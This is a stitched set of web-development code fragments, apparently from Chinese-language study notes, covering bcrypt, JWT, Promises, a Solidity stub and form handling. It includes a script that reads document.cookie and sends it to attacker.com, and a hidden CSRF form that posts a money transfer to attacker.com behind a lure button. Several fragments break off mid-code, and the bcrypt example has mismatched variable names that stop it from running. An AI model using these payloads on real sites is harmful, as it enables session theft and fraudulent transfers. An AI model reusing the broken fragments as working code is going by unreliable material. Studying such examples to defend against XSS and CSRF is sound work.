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pragma solidity ^0.4.16;

/// @title credit exchange platform
contract CreditExchange {
    struct Case {
        bool isSuccessful;
        uint amount;
    }

    struct Person {

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//安裝bcrypt
npm install bcrypt --save

//引入
const bcrypt = require('bcrypt');

//生成hash值
const myPlauntextPassword = 'qwerty';
const saltRound = 10;
bcrypt.hash(myPlaintextPassword, saltRounds, function(err, hash) {

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<form action='/handleForm' method='post'>
  <input type='text' name='words' />
  <input type='submit' value='Submit' />
</form>

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app.get('/handleForm', (req, res) => {
  res.send(req.body.words);
});

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<script>
  const cookie = document.cookie;
  fetch(`http://attacker.com?cookie=${cookie}`, {method: 'get'})
    .then();
</script>

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//安裝
npm install jsonwebtoken --save

//引入
const jwt = require("jsonwebtoken");

//產生jwt
const token = jwt.sign(
  {
  email: user.email,

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<form action='http://attacker.com' method='POST'>
  <input type='hidden' name='send' value='attacker'/>
  <input type='hidden' name='amount' value='10000'/>
  <input type="submit" value="你累了嗎？點我看看～"/>
</form>

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const promise = new Promise((resolve, reject) => {
  //成功時執行
  resolve(value);
  //失敗時執行
  reject(value);
});

promise
  .then(value=>{
      //成功的話，做...

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analytics.trackPurchase(purchaseData, ()=> {
  chargeCreditCard();
  displayThankyouPage();
});

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analytics.trackPurchase(purchaseData, ()=> {
  chargeCreditCard();
  displayThankyouPage();
});